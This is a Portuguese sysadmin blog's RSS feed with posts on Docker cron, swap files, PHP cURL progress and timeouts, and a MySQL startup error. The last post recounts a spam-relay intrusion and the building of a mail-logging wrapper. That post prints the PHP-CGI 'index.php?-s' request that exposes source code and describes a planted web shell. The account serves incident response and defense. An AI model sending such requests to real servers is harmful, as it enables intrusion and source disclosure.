<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux Archives - Pereira, Thiago Santos.</title>
	<atom:link href="https://thiagosantos.com/blog/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>https://thiagosantos.com/blog/category/linux/</link>
	<description>the fun of code.</description>
	<lastBuildDate>Thu, 18 May 2023 03:35:28 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5</generator>
	<item>
		<title>Docker Cron</title>
		<link>https://thiagosantos.com/blog/755/linux/docker-cron/</link>
					<comments>https://thiagosantos.com/blog/755/linux/docker-cron/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Thu, 18 May 2023 03:15:26 +0000</pubDate>
				<category><![CDATA[Docker]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[container]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[crontab]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[docker cron]]></category>
		<category><![CDATA[infinite cron]]></category>
		<guid isPermaLink="false">https://thiagosantos.com/blog/?p=755</guid>

					<description><![CDATA[<p>Pod com cron rodando de forma infinita. Sim é possível.</p>
<p>The post <a href="https://thiagosantos.com/blog/755/linux/docker-cron/">Docker Cron</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Uma demanda bem diferente, um container cujo único proposito em vida é ter o cron rodando. Na verdade, um pouco mais que isso, mas não vem ao caso. O ponto é como fazer um container chamador de cron?</p>



<p>Para os apressados a solução é rodar o cron em foreground. Dessa forma ele segura o container e ele não morre de cara.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: bash; title: ; notranslate">
ENTRYPOINT &#x5B;&quot;cron&quot;, &quot;-f&quot;]
</pre></div>


<span id="more-755"></span>



<p>Para quem curte uma solução mais completa abaixo está o Dockerfile que usei para resolver essa tarefa. No container deveria haver dois scripts, o primeiro que consultava uma API e retornava uma lista contendo um GUID, data da ultima alteração e a periodicidade que esse GUID deveria ser chamado. O segundo script que era chamado pelo cron passando o GUID respeitando a periodicidade definida.</p>



<p>Assim o primeiro script, deveria acessar uma API a cada 15 minutos, verificar localmente se aqueles GUID recebidos já tinham seus respectivos arquivos cron gerados. A solução foi que para cada GUID recebido criariamos arquivos na pasta do cron.d no formato abaixo.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; highlight: [2]; title: ; notranslate">
#/etc/cron.d/run_primeiro_script
*/15 * * * * root /app/primeiro_script.py
</pre></div>


<p>O segundo script precisa ser chamado dada uma periodicidade e passando um ID como parâmetro.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: bash; highlight: [2]; title: ; notranslate">
#/etc/cron.d/426c3f18-8f87-4ca7-98a9-aaa865ae46d1
*/5 * * * * root /app/segundo_script.py --id 426c3f18-8f87-4ca7-98a9-aaa865ae46d1
</pre></div>


<p>O Dockerfile ficou assim. </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: bash; highlight: [5]; title: ; notranslate">
FROM ubuntu:23.04 AS base

WORKDIR /app
RUN apt-get update &amp;&amp; apt-get install -y cron python3
RUN echo &quot;*/15 * * * * root python3 /app/primeiro_script.py &gt; /proc/1/fd/1 2&gt;/proc/1/fd/2&quot; &gt; /etc/cron.d/run_primeiro_script

COPY . .

ENTRYPOINT &#x5B;&quot;cron&quot;, &quot;-f&quot;]
</pre></div>


<p>Eu ressalto que como a tarefa do cron é executado em um bash as mensagens da aplicação não saem no bash principal e como consequência não é possível ver essas mensagens no log. Por isso redirecionamos o stdout e o stderr do &#8220;primeiro_script.py&#8221; para o processo de PID 1 que é o comando executado pelo entrypoint.</p>



<p>Essa é uma solução interessante também para manter o log quando o cron executar scripts, programas e aplicações que tenham muita saída no stdout e que normalmente estivessem rodando em foreground seriam enviados para o log do pod.</p>
<p>The post <a href="https://thiagosantos.com/blog/755/linux/docker-cron/">Docker Cron</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/755/linux/docker-cron/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Swap File &#8211; Por quê?</title>
		<link>https://thiagosantos.com/blog/735/linux/swap-file-por-que/</link>
					<comments>https://thiagosantos.com/blog/735/linux/swap-file-por-que/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Thu, 19 May 2022 12:35:50 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[swap]]></category>
		<category><![CDATA[swapon]]></category>
		<guid isPermaLink="false">https://thiagosantos.com/blog/?p=735</guid>

					<description><![CDATA[<p>Tenha. Quando você pega uma VM você paga pela RAM e pelo espaço em disco e a cloud te aluga RAM e espaço em disco. No entanto, se a VM vier automaticamente com um swap ativo a cloud vai precisar dispor de mais disco swap + o acordado. Se uma VM tem 512mb de RAM [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/735/linux/swap-file-por-que/">Swap File &#8211; Por quê?</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Tenha.</p>



<p>Quando você pega uma VM você paga pela RAM e pelo espaço em disco e a cloud te aluga RAM e espaço em disco. No entanto, se a VM vier automaticamente com um swap ativo a cloud vai precisar dispor de mais disco swap + o acordado. Se uma VM tem 512mb de RAM e 20Gb de disco, teria que dispor de pelo menos 256mb de swap, imagina essa escala para uma cloud com milhões de VMs. Por isso as VMs de diversas clouds vem sem SWAP File e deixa para você a responsabilidade de ativar! &lt;3</p>



<span id="more-735"></span>



<p><strong>O que afinal é o SWAP e para que serve?</strong></p>



<p>O swap file nada mais é que um espaço no seu disco destinado a receber dados que estão na memória quando o seu sistema está ficando sem para continuar rodandos as aplicações. O kernel notando que vai dar merda pega uma sessão da RAM que está destinada a um programa que está com baixa prioridade ou em espera e coloca temporariametne dentro do swap. Liberando assim a memória RAM para continuar funcionando.</p>



<p>Imagina que o seu sistema está rodando, tem pouca memória, precisa executar novos processos, mas não tem SWAP configurado. O que acontece? Sim, dá merda. O kernel vem matando os processos através do <em><a href="https://rakeshjain-devops.medium.com/linux-out-of-memory-killer-31e477a45759" target="_blank" rel="noreferrer noopener">OOM Killer</a></em>, mas antes ele lança essa bela imagem.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="580" src="https://thiagosantos.com/blog/wp-content/uploads//2022/05/image-1-1024x580.png" alt="" class="wp-image-739" srcset="https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1-1024x580.png 1024w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1-300x170.png 300w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1-768x435.png 768w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1-624x354.png 624w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1.png 1163w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p><strong>Criar um SWAP file</strong></p>



<p>O comando abaixo aloca um gigabyte para o swap localizado na raiz do sistema no arquivo <em>swapfile</em>. Minha sugestão é que você coloque o seu arquivo numa partição que tenha um disco rápido.</p>



<pre class="wp-block-code"><code>sudo fallocate -l 1G /swapfile
</code></pre>



<p>Restrinja a manipulação somente ao usuário ROOT</p>



<pre class="wp-block-code"><code>sudo chmod 600 /swapfile
</code></pre>



<p>Formatamos o nosso arquivo para o formato SWAP</p>



<pre class="wp-block-code"><code>sudo mkswap /swapfile</code></pre>



<p>Ativamos o swap que acabamos de criar</p>



<pre class="wp-block-code"><code>sudo swapon /swapfile</code></pre>



<p>Para ver rodando basta dar um &#8220;TOP&#8221; ou &#8220;HTOP&#8221; e vai ver lá o swap, é possível que assim que você crie e habilite o swap não esteja sendo utulizado, mas com o passar de algum tempo vai estar lá ele sendo utilizado.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="937" height="74" src="https://thiagosantos.com/blog/wp-content/uploads//2022/05/image.png" alt="" class="wp-image-742" srcset="https://thiagosantos.com/blog/wp-content/uploads/2022/05/image.png 937w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-300x24.png 300w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-768x61.png 768w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-624x49.png 624w" sizes="(max-width: 937px) 100vw, 937px" /></figure>



<p>Pode também rodar o swapon &#8211;show para listar os swaps ativos</p>



<pre class="wp-block-code"><code>sudo swapon --show</code></pre>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="279" height="33" src="https://thiagosantos.com/blog/wp-content/uploads//2022/05/image-2.png" alt="" class="wp-image-744"/></figure>



<p>Fonte:</p>



<p><a href="https://rakeshjain-devops.medium.com/linux-out-of-memory-killer-31e477a45759">https://rakeshjain-devops.medium.com/linux-out-of-memory-killer-31e477a45759</a></p>



<p><a href="https://diolinux.com.br/tutoriais/como-trabalhar-com-swap-files-no-ubuntu.html">https://diolinux.com.br/tutoriais/como-trabalhar-com-swap-files-no-ubuntu.html</a></p>
<p>The post <a href="https://thiagosantos.com/blog/735/linux/swap-file-por-que/">Swap File &#8211; Por quê?</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/735/linux/swap-file-por-que/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Acompanhamento de Progresso no cURL com PHP</title>
		<link>https://thiagosantos.com/blog/627/php/acompanhamento-de-progresso-no-curl-com-php/</link>
					<comments>https://thiagosantos.com/blog/627/php/acompanhamento-de-progresso-no-curl-com-php/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Fri, 19 Jun 2015 21:21:30 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=627</guid>

					<description><![CDATA[<p>Utilizo com certa frequencia o cURL em meus projetos e adoro ele por conta de todas as possibilidades que ele nos dá, principalmente com o envio de cabeçalhos. Mas uma novidade para mim foi descobrir que era possível o acompanhamento de progresso no cURL com PHP. Achei isso simplesmente fantástico! Estava com um problema em [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/627/php/acompanhamento-de-progresso-no-curl-com-php/">Acompanhamento de Progresso no cURL com PHP</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Utilizo com certa frequencia o cURL em meus projetos e adoro ele por conta de todas as possibilidades que ele nos dá, principalmente com o envio de cabeçalhos. Mas uma novidade para mim foi descobrir que era possível o acompanhamento de progresso no cURL com PHP.</p>
<p>Achei isso simplesmente fantástico! Estava com um problema em que uma aplicação não conseguia fazer o download de arquivos muito grandes, mas como saber onde era o problema? Procurando na internet toda encontrei callback do cURL para PHP que nos avisa a toda vez que um pedaço do arquivo é baixado ou subido.<span id="more-627"></span></p>
<p>Vamos ao código, primeiro o callback</p>
<pre lang="php">&lt;?php 

function curl_progress($resource,$download_size, $downloaded, $upload_size, $uploaded) {     if($download_size &gt; 0)
         print ("Progresso download: ".($downloaded / $download_size  * 100));
    if($upload_size&gt; 0)
         print ("Progresso Upload: ".($uploaded/ $upload_size * 100));
}

</pre>
<p>Agora a nossa implementação do cURL</p>
<p>&nbsp;</p>
<pre lang="php">&lt;?php 

 $ch = curl_init();
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Expect:' ) );
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, "Arktre::odiopuro");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, 'curl_progress');
    curl_setopt($ch, CURLOPT_NOPROGRESS, false); // necessário para fazer o progresso funcionar
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $response = curl_exec($ch);

</pre>
<p>O resultado é essa saída bonita!</p>
<pre>Progresso: 0.6532900454675
Progresso: 2.5532900454675
Progresso: 2.5532900454675
Progresso: 2.5532900454675
[...]
Progresso: 76.914346406643
Progresso: 77.548795145797
Progresso: 100
</pre>
<p>Rápido de resolver!</p>
<p>http://php.net/manual/en/function.curl-setopt.php<br />
https://gist.github.com/bdunogier/1030450<br />
http://stackoverflow.com/questions/13958303/curl-download-progress-in-php</p>
<p>The post <a href="https://thiagosantos.com/blog/627/php/acompanhamento-de-progresso-no-curl-com-php/">Acompanhamento de Progresso no cURL com PHP</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/627/php/acompanhamento-de-progresso-no-curl-com-php/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>PHP Curl Timeout e ConnectTimeout</title>
		<link>https://thiagosantos.com/blog/623/php/php-curl-timeout-e-connecttimeout/</link>
					<comments>https://thiagosantos.com/blog/623/php/php-curl-timeout-e-connecttimeout/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Fri, 19 Jun 2015 21:03:07 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=623</guid>

					<description><![CDATA[<p>Encontrei um problema no usando o php curl timeout . Problema relativamente leve no meu código. Utilizando o cURL para fazer o download de arquivos em um dos meus projetos me deparei com o cancelamento do download. Debugando inicialmente pensei que o arquivo que estava baixando estivesse corrompido, mas não estava, conferi todas as fontes [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/623/php/php-curl-timeout-e-connecttimeout/">PHP Curl Timeout e ConnectTimeout</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Encontrei um problema no usando o php curl timeout . Problema relativamente leve no meu código. Utilizando o cURL para fazer o download de arquivos em um dos meus projetos me deparei com o cancelamento do download. Debugando inicialmente pensei que o arquivo que estava baixando estivesse corrompido, mas não estava, conferi todas as fontes e elas estavam perfeitas.<br />
Segundo achei que fosse o tempo de execução do PHP, mas reparei que estava usando ele em CLI, logo não teria esse problema.<br />
Terceiro alguma <em>merendagem</em> minha na configuração do cURL, esse dentre os dois primeiros tinha altas chances de ser a correta, ou a incorreta. Depende da interpretação. Esse era mesmo o problema, mas como ter certeza disso? Debugando!</p>
<p>Observando o código que eu tinha que está abaixo, é possível ver que ele é um código simples que qualquer tutorial de php cURL na internet te ensina a montar.<span id="more-623"></span></p>
<pre lang="php">&lt;?php
$url = "http://example.com/arquivo_grandao.zip";

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Expect:' ) );
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, "Arktre::odiopuro");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
</pre>
<p>&nbsp;</p>
<p>Como ter certeza agora que o problema era mesmo do cURL? Simples! <a href="http://thiagosantos.com/blog/627/php/acompanhamento-de-progresso-no-curl-com-php/">Analisando o progresso do download, explico como fazer isso nesse post.</a> Logo como saída eu tinha porcentagens de progresso variadas entre 40% e 80%, mas nunca 100%.</p>
<p>&nbsp;</p>
<pre>Progresso: 0.6532900454675
Progresso: 2.5532900454675
Progresso: 2.5532900454675
Progresso: 2.5532900454675
[...]
Progresso: 76.914346406643
Progresso: 77.548795145797
Progresso: 78.755615489735
</pre>
<p>Depois disso ficou fácil entender que o próprio cURL estava interrompendo o download do arquivo. O cURL tem dois parâmetros importantes de timeout o CURLOPT_CONNECTTIMEOUT e o CURLOPT_TIMEOUT, o primeiro especifica o tempo máximo que o cURL pode levar para conectar a outra ponta, e o segundo o tempo máximo de execução do cURL. Meu problema estava nesse segundo parâmetro. Como o arquivo baixado era muito grande e a minha banda não tão larga, o cURL precisava de mais tempo para baixar o arquivo completo.</p>
<pre lang="php">&lt;?php
$url = "http://example.com/arquivo_grandao.zip";

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Expect:' ) );
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, "Arktre::odiopuro");
<strong>curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
curl_setopt($ch, CURLOPT_TIMEOUT, 900);</strong>
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
</pre>
<p>&nbsp;</p>
<p>Depois disso o progresso funcionou normalmente, indo até o 100. Simples de resolver!</p>
<p>&nbsp;</p>
<p>The post <a href="https://thiagosantos.com/blog/623/php/php-curl-timeout-e-connecttimeout/">PHP Curl Timeout e ConnectTimeout</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/623/php/php-curl-timeout-e-connecttimeout/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>MySQL fora do ar com InnoDB: Error: pthread_create returned 11</title>
		<link>https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/</link>
					<comments>https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Tue, 04 Jun 2013 13:46:57 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[ulimit]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=475</guid>

					<description><![CDATA[<p>Hoje pela manhã recebi algumas notificações, do Magento, dizendo que ele não conseguia se conectar ao MySQL. Como é de praxe, e sempre que acontece isso eu reinicio o MySQL no MK01 e tudo volta ao normal. Dessa vez, não foi assim. O MySQL estava falhando a cada tentativa minha de iniciar ele, o log abaixo, [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/">MySQL fora do ar com InnoDB: Error: pthread_create returned 11</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div>
<div>
<p>Hoje pela manhã recebi algumas notificações, do Magento, dizendo que ele não conseguia se conectar ao MySQL. <span style="line-height: 1.714285714; font-size: 1rem;">Como é de praxe, e sempre que acontece isso eu reinicio o MySQL no MK01 e tudo volta ao normal.</span></p>
</div>
</div>
<p>Dessa vez, não foi assim. O MySQL estava falhando a cada tentativa minha de iniciar ele, o log abaixo, do arquivo /var/log/syslog, é o da primeira tentativa de reiniciar o MySQL:</p>
<div>
<div>
<div>
<div style="padding-left: 30px;"><i><i>Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29 [Note] /usr/sbin/mysqld: Normal shutdown<br />
Jun  4 09:48:29 mk01 mysqld:<br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29 [Note] Event Scheduler: Purging the queue. 0 events<br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29  InnoDB: Starting shutdown&#8230;<br />
Jun  4 09:48:29 mk01 mysqld_safe: Starting mysqld daemon with databases from /var/lib/mysql<span id="more-475"></span><br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29 [Note] Plugin &#8216;FEDERATED&#8217; is disabled.<br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29  InnoDB: Initializing buffer pool, size = 8.0M<br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29  InnoDB: Completed initialization of buffer pool<br />
<span style="color: #ff0000;">Jun  4 09:48:29 mk01 mysqld: InnoDB: Error: pthread_create returned 11</span><br />
Jun  4 09:48:29 mk01 mysqld_safe: mysqld from pid file /var/run/mysqld/mysqld.pid ended<br />
Jun  4 09:48:30 mk01 mysqld: 130604  9:48:30  InnoDB: Shutdown completed; log sequence number 86 1389841072<br />
Jun  4 09:48:30 mk01 mysqld: 130604  9:48:30 [Note] /usr/sbin/mysqld: Shutdown complete<br />
Jun  4 09:48:30 mk01 mysqld:<br />
Jun 4 09:48:30 mk01 mysqld_safe: mysqld from pid file /var/run/mysqld/mysqld.pid ended<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]: 0 processes alive and &#8216;/usr/bin/mysqladmin &#8211;defaults-file=/etc/mysql/debian.cnf ping&#8217; resulted in<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]: #007/usr/bin/mysqladmin: connect to server at &#8216;localhost&#8217; failed<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]: error: &#8216;Can&#8217;t connect to local MySQL server through socket &#8216;/var/run/mysqld/mysqld.sock&#8217; (2)&#8217;<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]: Check that mysqld is running and that the socket: &#8216;/var/run/mysqld/mysqld.sock&#8217; exists!<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]:</i></i></div>
<p>&nbsp;</p>
<div style="padding-left: 30px;"></div>
<p>&nbsp;</p>
<p>As demais tentativas de iniciar ele foram falhas, exibindo no log mensagem parecida. Analisando com calma as mensagens do log verifiquei que um dos primeiros erros era o do &#8220;InnoDB: Error: pthread_create returned 11&#8221;. Procurando na internet por esse mesmo erro encontrei o site <a href="http://i-am-a-system-admin.blogspot.com.br/2012/03/mysql-installation-error-innodb-error.html">http://i-am-a-system-admin.blogspot.com.br/2012/03/mysql-installation-error-innodb-error.html</a> que sugere a liberação dos recursos de stack para os processos da máquina.</p>
</div>
<blockquote><p><span style="color: #993300;"><i>ulimit -s unlimited</i></span></p></blockquote>
</div>
<div>
<div><span style="font-size: 1rem; line-height: 1;">Depois de rodar o comando, reiniciei o MySQL e ele levantou. Até o momento tudo voltou a funcionar.</span></div>
<div></div>
<div>Para saber mais sobre o comando ulimit acesse <a href="http://ss64.com/bash/ulimit.html">http://ss64.com/bash/ulimit.html</a></div>
<div></div>
<div></div>
</div>
</div>
<p>The post <a href="https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/">MySQL fora do ar com InnoDB: Error: pthread_create returned 11</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>PHP-CGI query string parameters vulnerabitily</title>
		<link>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/</link>
					<comments>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Fri, 08 Jun 2012 19:10:38 +0000</pubDate>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webservers]]></category>
		<category><![CDATA[invasão cgi]]></category>
		<category><![CDATA[php-cgi]]></category>
		<category><![CDATA[query string vunerability]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=397</guid>

					<description><![CDATA[<p>Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando</p>
<p>The post <a href="https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/">PHP-CGI query string parameters vulnerabitily</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando. Ou seja com o comando</p>
<pre>http://localhost/index.php?-s</pre>
<p>Você obtém o conteúdo do código PHP. Isso é muito bizarro!</p>
<h2><span style="color: #3366ff;">1. O que estava acontecendo?</span></h2>
<p>Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espaço em disco.</p>
<p>Localizamos o foco da invasão, um dos sites que administramos estava com permissão na pasta e nos arquivos de usuário e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas variações de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).<br />
<span id="more-397"></span><br />
O arquivo pagenews.php e as suas cópias w[0-9]{1,8}n.php continham um exploid com uma lista de diretorios, opções de criar, remover e editar aquivos, enviar email, e enviar em lote, além de um console e auto-remove.</p>
<p>De imediato criamos uma copia do pagenews.php, para analizarmos depois, e em seguida deletamos todos os arquivos. Em seguida mudamos as permissões da pasta e arquivos para um usuário padrão e seguro. Com isso achamos que os disparos de emails fosse parar, mas não foi o que aconteceu, a fila de emails só crescia.</p>
<p>Dai então procuramos por todo o servidor por rastros de outros arquivos e não encontramos nada!</p>
<h1><span style="color: #3366ff;">2. O que fizemos?</span></h1>
<p>Nesse servidor invadido só roda PHP, ou seja estavam de alguma forma usando a função mail() para disparar spams. Dai seguindo as dicas desse site (<a href="http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam">http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam</a>) criei um wrapper pra monitorar o envio dos emails usando a função mail do PHP. Funcionou muito bem, dai fiz um up nele. Na verdade eu não queria só saber de qual site estava sendo disparado o email, mas queria saber também de qual script php, e quais parametros estavam sendo passados para ele, logo o meu <em>phpsendmail</em> ficou assim.</p>
<p><em>/usr/local/bin/phpsendmail</em></p>
<pre style="overflow: auto, height: 300px;" lang="php">#!/usr/bin/php

<!--?php 

/**
  This script is a sendmail wrapper for php to log calls of the php mail()
function.
  Author: Till Brehm, www.ispconfig.org
  (Hopefully) secured by David Goodwin <david @ _palepurple_.co.uk-->
*/

$sendmail_bin = '/usr/sbin/sendmail';
$logfile = '/var/log/mail.form';

//* Get the email content
$logline = '';
$pointer = fopen('php://stdin', 'r');

while ($line = fgets($pointer)) {
        if(preg_match('/^to:/i', $line) || preg_match('/^from:/i', $line)) {
                $logline .= trim($line).' ';
        }
        $mail .= $line;
}

//* compose the sendmail command
$command = 'echo ' . escapeshellarg($mail) . ' | '.$sendmail_bin.' -t -i';
for ($i = 1; $i &lt; $_SERVER['argc']; $i++) {         $command .= escapeshellarg($_SERVER['argv'][$i]).' '; } //* Write the log file_put_contents($logfile, date('Y-m-d H:i:s') . ' ' . " \n\n ----\n".print_r($_ENV,true)."\n\n" . ' '     .$logline."\n\n", FILE_APPEND); //* Execute the command return shell_exec($command); ?&gt;</pre>
<p>O passo a passo pode seguir o do link do site que eu mandei, o wrapper recomendo usar o meu que fica mais fácil de ver as variáveis de ambiente no momento da execução do código.</p>
<p>Feito isso, comecei a monitorar o /var/log/mail.form com o comando tail.</p>
<p>shell~# tail -f /var/log/mail.form</p>
<p>O retorno foi inesperado e surpreendente como segue:</p>
<pre>To: xxxxxxx@yahoo.com From: "FedEx Service" &lt;information@fedex.com&gt;

2012-06-08 12:16:32

 ----
Array
(
    [SERVER_SIGNATURE] =&gt; &lt;address&gt;Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at meusiteemphp.com.br Port 80&lt;/address&gt;

    [ORIG_PATH_TRANSLATED] =&gt; /var/www/sites/meusiteemphp/index.php
    [REDIRECT_SCRIPT_URL] =&gt; /index.php
    [HTTP_USER_AGENT] =&gt; Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0
    [SERVER_PORT] =&gt; 80
    [HTTP_HOST] =&gt; meusiteemphp.com.br
    [REDIRECT_SCRIPT_URI] =&gt; http://meusiteemphp.com.br/index.php
    [HTTP_EXPECT] =&gt; 100-continue
